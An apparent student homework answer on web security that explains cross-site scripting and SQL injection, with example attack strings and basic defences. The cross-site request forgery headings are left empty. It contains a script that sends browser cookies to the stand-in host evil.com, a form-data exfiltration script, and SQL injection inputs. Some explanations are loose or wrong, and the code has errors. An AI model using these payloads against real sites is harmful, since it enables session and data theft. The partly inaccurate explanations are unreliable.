Name:

* Khoa T. Nguyen
* Arjun Sethi

1) Buffer Overflow Vulnerability

2) Password Security

3) Web Security

**a) Cross-site request forgery request (XSRF)**

**Cross-site scripting (XSS)**

The attacker uses client side javascript to inject malicious code to the client in a <script></script> tag. This script is usually stored in a benign document such as text, forum comment, email messages. The browser will execute this script as a regular javascript. The script will manipulate the DOM, get cookie information or send sensitive information to another web address, or do something bad.

There are three main types: stored, reflection and DOM-based attack

**SQL injection attack**

The attacker add some special characters such as semicolon “;” to terminate an SQL code and add his own SQL to do something else. Or the attacker add some conditions such as “AND 1 = 1” (blind SQL injection) which returns everything in the table or error message that contains useful information.

**b)Cross-site request forgery request (XSRF)**

**Cross-site scripting (XSS)**

In side a regular comment, <p> tag or an email message, the attacker write this:

<script>

window.location="http://evil.com/?cookie=" + document.cookie

</script>

Or to steal information for a social engineering attack:

<script>

var username = document.getElementById("username");

var motherMaidenName = document.getElementById("username");

var accountNumber = document.getElementById("accountNumber");

window.location=”<http://mysite.com/?username>=”+ username + “&motherMaidenName=” + motherMaidenName + “&accountNumber=” + accountNumber”

</script>

**SQL injection attack**

SELECT 1 from User where name=<username> AND password=<password>;

After injection of admin’;’

SELECT 1 from User where name=’admin’;’’ AND password=<password>;

For GET requests such as: <http://example.com/?name>=<username>&password=<password>

The attacker can change this to: <http://example.com/?name>=<username>&password=<password> AND 1=1

This results in

SELECT 1 from User where name=<username> AND password=<password> AND ‘1’=’1’;

The server might respond with an error page and reveal information.

**c)Cross-site request forgery request (XSRF)**

**Cross-site scripting (XSS)**

Never send untrusted data to the browser, but this method is restrictive for a comment board.

Sanitize input, don’t take special characters such as “<”, “>” (unsophisticated user will not send a <script> in a message.)

Use HTML escaping for special characters in untrusted data “<”, “>”, escape javascript or HTML.

**SQL injection attack**

Use prepared statement. (in Java, C# and other languages) This prevents “AND ‘1’=’1’” attack.

Escaping all user input. This will escape the “;” character in the input, so the SQL code will break and does not execute.

Another solution is only return a response code to the client and keep the error message in the server. This prevents the blind attack.